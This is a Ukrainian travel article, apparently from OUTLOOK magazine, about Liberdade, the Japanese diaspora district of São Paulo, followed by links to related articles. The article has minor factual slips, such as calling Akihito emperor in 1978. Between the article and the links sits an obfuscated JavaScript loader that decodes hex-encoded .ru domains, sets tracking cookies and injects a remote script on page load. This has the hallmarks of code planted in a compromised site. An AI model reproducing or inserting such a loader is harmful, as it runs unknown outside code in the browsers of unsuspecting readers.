RU  UK  EN
Статті  >  Уяви  >  Гетто світу: Самураї на карнавалі.

Гетто світу: Самураї на карнавалі.

Сьогодні в нашій уже традиційній рубриці про національні гетто розповідь про один із найбільш екзотичних для Бразилії районів Сан-Паулу – Лібердаді. Саме тут живе найчисленніша японська діаспора у світі.

Замість рису – кава

Ще на початку 20 століття японська влада переймалася з приводу перенаселення невеликої за площею країни. Уряд поквапом укладав угоди з багатьма державами, де могла знадобитися робоча сила. Першими для азійців свої ворота відкрили Сполучені Штати Америки, де сьогодні живе близько мільйона японців. Однак справжнім бумом стала імміграція до далекої Бразилії, яка стартувала 1908 року. 18 червня в південноамериканський порт Сантус прибув корабель «Касато-мару», кількома роками раніше відвойований у росіян під час російсько-японської війни. З його борту на теплу і квітучу землю зійшло 165 сімей з надією почати нове життя в державі, розміри якої дозволяють думати про майбутнє.

Із майже 800 осіб більшість були селяни, які проміняли рисові плантації на кавові. Цих людей ніхто не зустрів хлібом і сіллю – місцеві газетярі навперебій друкували принизливі карикатури, а роботяги з ненавистю дивилися на тих, хто забиратиме їхні місця праці. Утім, для звиклих до труднощів нащадків самураїв це був лише початок масового переселення. Стійкі і дисципліновані японці не злякалися проблем і расових конфліктів – вони трималися організовано і буквально вигризали своє право на життя в чужій країні.

Сьогодні можна впевнено сказати, що вони вистояли. Адже діаспора японців у Бразилії становить близько двох мільйонів осіб, а самі народи вже настільки поріднилися, що соціологи навіть вигадали новий термін «нісей» – так називають асимільованих вихідців з Країни вранішнього сонця, діти яких народилися в Бразилії, а португальська стала для них рідною мовою.

Вільним людям – вільний район

Переважна частина азійських переселенців осіла у великих містах. Особливо вони вподобали Сан-Паулу, а саме легендарний район Лібердаді, що в перекладі означає «свобода». Хоча до середини 19 століття його назва була значно похмуріша – Площа повішання, бо саме там відбувалися публічні страти. І все ж після скасування рабства і небувалого випадку, коли три мотузки поспіль рвалися і приречену на смерть людину довелося забивати палицями під вигуки натовпу «Свобода!», муніципалітет вирішив перейменувати місце і скасувати показові покарання.

Перші японці з'явилися тут 1912 року. Оскільки бразильці не хотіли жити на місці вчорашніх гільйотин і шибениць, мігранти виявилися тут практично на самоті. Не звертаючи уваги на лиху славу кварталу, вони зі східною працьовитістю узялися переробляти його під себе. Їм вдалося з нуля створити всю потрібну для життя інфраструктуру і перетворити депресивний Лібердаді на яскравий і барвистий район. Щоб почуватися як удома, вони відкрили японську школу, заснували власну газету «São Paulo Shimbun» і навіть фабрику з виробництва знаменитого сиру тофу.

Сьогодні Лібердаді не просто живе, він процвітає. Мешканці Сан-Паулу і туристи обожнюють тамтешню їжу, бари і вуличний колорит. Це місце буквально вириває тебе зі звичного розуміння південноамериканського міста. Здається, що, вийшовши з метро на станціях «Liberdade» або «São Joaquim», ти раптом опинився десь у Токіо. І це не дивно, адже на відносно невеликій території живе понад 300 тисяч японців. Як кажуть: «Де є приязнь, там не тісно», але все ж більше місця, ніж у їхній рідній країні.

Що подивитися

Крім цього дивного азійського світу, який цікавий сам по собі, у кварталі є ще декілька пам'яток. Якщо йти по головній вулиці Руа Галван Буену, то їх точно не пропустиш. Найважливіший об'єкт – Музей японської імміграції, відкритий 1978 року нинішнім імператором Японії Акіхіто. Серед цікавих експонатів музею – фрагмент того самого корабля-першопрохідця «Касато-мару». Дах будівлі прикрашає величний сад.

Трохи східніше височіє Храм Бусінжі – найважливіша святиня району. Щомісяця на його території відбувається дивовижна буддійська церемонія Канон, подивитись на яку збирається і чимало бразильців. Ще одним священним місцем є пам'ятник японським переселенцям, які повернулися на батьківщину воювати в роки Другої світової війни.

Особливо цікаво побувати в районі під час східних свят і в дні проведення традиційного ярмарку. Його зазвичай влаштовують на вихідних, і тоді здається, що весь Сан-Паулу гуляє в Лібердаді. Ця місцина справедливо вважається феноменальною, оскільки завдяки близькому сусідству представників двох народів, такі, здавалося б, далекі одна від одної і географічно і ментально Бразилія та Японія у 20 столітті настільки зблизилися. Між державами працює декілька соціальних програм, і сьогодні вже латиноамериканці їдуть на заробітки в Азію та обживають японські міста і вулиці. Але це вже зовсім інша історія.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16101",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("uk.theoutlook.com.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Вам це буде цікаво:
Гетто світу: китайський розмах у Сан-Франциско
Ми продовжуємо серію матеріалів про національні гетто. Сьогодні OUTLOOK розповість про найбільший етнічний анклав американського міста Сан-Франциско – про місцевий Чайна-таун, або Китайський квартал, якому, гарантуємо, є чим вас здивувати!
Кабраматта: «маленький В’єтнам» на теренах Австралії
Бажаєте подивитися на в'єтнамське гетто в Австралії, а заразом зрозуміти, чому азіати наганяють страху на місцевих жителів? Як будете в Сіднеї, обов'язково відвідайте Кабраматту, тільки не забудьте прихопити із собою фотоапарат, а також… охорону. Річ у тім, що місце, яке вважається діловим центром Сіднея, б'є рекорди за розмахом злочинності.
Кабукі: тернистий шлях квітки
Традиційний японський театр кабукі завжди лишався загадкою для європейського менталітету: зрозуміти спектакль без підказок гіда може хіба що спеціаліст з культури Країни вранішнього сонця. Слово «кабукі» у перекладі значить «майстерність пісні і танцю». Чому не оперета? Суть постановки не зводиться до музичної вистави...
Гетто світу: азійський квартал Парижа
Париж справедливо вважається одним з найцікавіших мегаполісів світу, адже будь-яке місто – це не тільки архітектура, а і його мешканці. Якщо говорити безпосередньо про столицю Франції, то вона неймовірно барвиста й атмосферна, оскільки там живуть, напевно, всі національності світу. Сьогодні ми розповімо про дивовижний 13-ий округ, який називають азійським.
Чайні імперії світу
Мало хто з нас, заварюючи собі улюблену кружечку чаю, замислюється, а звідки до нашої кухні дістався саме цей напій? Звісно, стереотипно ми знаємо, що, мабуть, із Індії чи Китаю, але насправді – не факт. У світі близько 30-ти країн серйозно займаються саме чаєм, і всередині цього співтовариства вимальовується дуже чітка ієрархія, котру очолює так звана «Велика чайна сімка».
Кінцугі. Японське мистецтво реставрації
Японці – один із тих народів, котрі ревно шанують давні традиції. Вони поважають старість, цікавляться предками і нерідко знають сімейний родовід на пам’ять. З таким світоглядом не дивно, що унікальна техніка реставрації кінцугі з’явилася саме там. Далі про неї – в OUTLOOK.
Не лише в центрі цікаво. Спальні райони світу
Мало який мандрівник під час своїх нетривалих подорожей вибирається кудись далі центру міста, де розташований його готель. Якщо ж «дислокація» – ще й мегаполіс, то такі поїздки відкладають «до кращих часів». А дарма, адже саме у спальних районах можна подивитися на незнайому країну очима її жителів, що куди пізнавальніше за екскурсії «галопом» замками і площами.
Незвичайні шкільні уроки різних країн світу
На честь сьогоднішнього свята - Дня знань ми вирішили розповісти Вам, які незвичайні предмети належить освоїти учням у різних країнах світу! Гризти граніт науки, осягаючи основи алгебри і геометрії, або запам’ятовувати роки правління монархів, гортаючи підручники з історії, – буденна справа для школярів.
Східний макіяж як традиція: Чарівний погляд з поволокою
Згідно з відомою фразою, схід – справа тонка. І загалом це істина, котра підтверджується навіть в деталях. Через особливості клімату східних жінок об’єднує схожий тип зовнішності, а їхні нації споріднює близькість культур. Тому й ідеали краси у них подібні. Так акцент у східному макіяжі неодмінно робиться на очі. Жінці тут належить бути скромною і вдягатися таким чином.
Тварини у місті – коли люди з природою в злагоді
Багатьох містян іноді дратують кішки, собаки і навіть голуби на вулицях. А спроби зоозахисників вберегти їх від нападок людей і голоду часто малоефективні. Але у світі прекрасні міста, в яких люди відмінно уживаються з оленями, павичами і великою рогатою худобою…
Ніхонгамі: Жмут як ознака статусу
Ніхонгамі – це своєрідний спосіб укладання волосся в японській традиції. Цікаво, що в Країні вранішнього сонця зачіски контролювалися законом і слугували своєрідним дрес-кодом для дівчат різних прошарків і соціального статусу. Тому кожному класові строго відповідає певний одяг і убрання волосся, і цих законів досі суворо дотримуються гейші та їхні учениці.
Маленькі улюбленці великих міст
Німці заводять не лише німецьких вівчарок, а в Бостоні можна побачити не тільки бостонських тер’єрів. Люди вибирають собак, спираючись на особисті вподобання. Та часом тяжіння місцевого населення до певної породи занадто помітне й інколи стає особливістю певної місцини. Цьому можуть сприяти природні умови, мода і навіть менталітет.
Ми там були: Японія - тонкощі токійського життя
Мало хто з туристів добереться до далекої Японії. Але у Марини Бєлки, дизайнера одягу, це вийшло, адже загадкова Країна Вранішнього Сонця була її дитячою мрією. Вона поділилася з нами враженнями від Токіо і дала майбутнім туристам практичні поради.
Кагосіма: Місто з репутацією камікадзе
«Будуйте дім біля підніжжя вулкана!» - вигукував Ніцше у пророчому екстазі. Похмурий пафос філософа навряд чи збагнули б жителі японського міста Кагосіми, розташованого на дні кальдери Айра, що виникла внаслідок вибуху 22 тисячі років тому. Землероби мотижили уступи котловини з бронзового віку, звично відмахуючись від попелу, розсіяного у повітрі.
Рисові поля: Злаки неземної краси
- Чи не хочете покуштувати рису? - таким питанням зустрічають гостей в Китаї. А якщо господарі виявляться ще і фермерами, вони можуть запросити вас на незвичайну екскурсію і покажуть шедевр природного мистецтва. Рис, який ми часто вживаємо в їжу, не замислюючись про його естетику, в момент вирощування нагадує ковдру, виткану з різнокольорових клаптиків...
"Витягти" з країн по максимуму. Кращі місця для риболовлі
Сьогодні мільйони, якщо не мільярди чоловіків, а часом і жінок по всій планеті відзначають Всесвітній день рибальства. З цієї нагоди ми пропонуємо вашій увазі список місць, де у вас точно клюне. Бразилія, В'єтнам, Киргизстан, Фінляндія - в цих країнах є чим здивувати кожного професійного рибалки чи рибалки-початківця. Тому, тягни, поки клює!
Оце так сервіс! Японське таксі
Найперше, з чим має розібратися кожен турист, опинившись у новій країні – це із транспортною системою. Часто вона здається складною і заплутаною, і щоб збагнути її, потрібні тижні, а може, й місяці. Наша читачка Наталія Усенко побувала в Японії і ділиться своїми враженнями про найбільш комфортний і безпечний транспорт у світі.
На ходу. Вулична їжа в різних країнах світу. Частина 2
Ви, бува, не зголодніли? Ну й чудово, адже ми продовжуємо нашу розповідь про найпопулярнішу вуличну їжу з усього світу. Налітай, поки гаряче! Почнемо з південно-азійської країни Сінгапур - багаті на вітаміни і мінерали морепродукти займають ключове місце в раціоні жителів ...
Superflat: суперплощина японського мистецтва
Любителі аніме ніколи не пройдуть повз сучасне японське мистецтво. Особливо, якщо цей напрямок безпосередньо належить до коміксів манга. Художник Такаші Муракамі був першим, хто замислився, як назватим те мистецтво, котре ловить натхнення в черговому аніме, але говорить про вічні цінності.
Листівки з Бразилії
Беручи участь в одній з волонтерських програм, студентки Інституту Міжнародних Відносин КНУ ім. Тараса Шевченка Анна Візняк та Анна Козирєва поділилися з OUTLOOK своїми яскравими фото про одну з найбільш екзотичних країн Південної Америки - казкову та чаруючу Бразилію.
Закрити
Outlook facebook page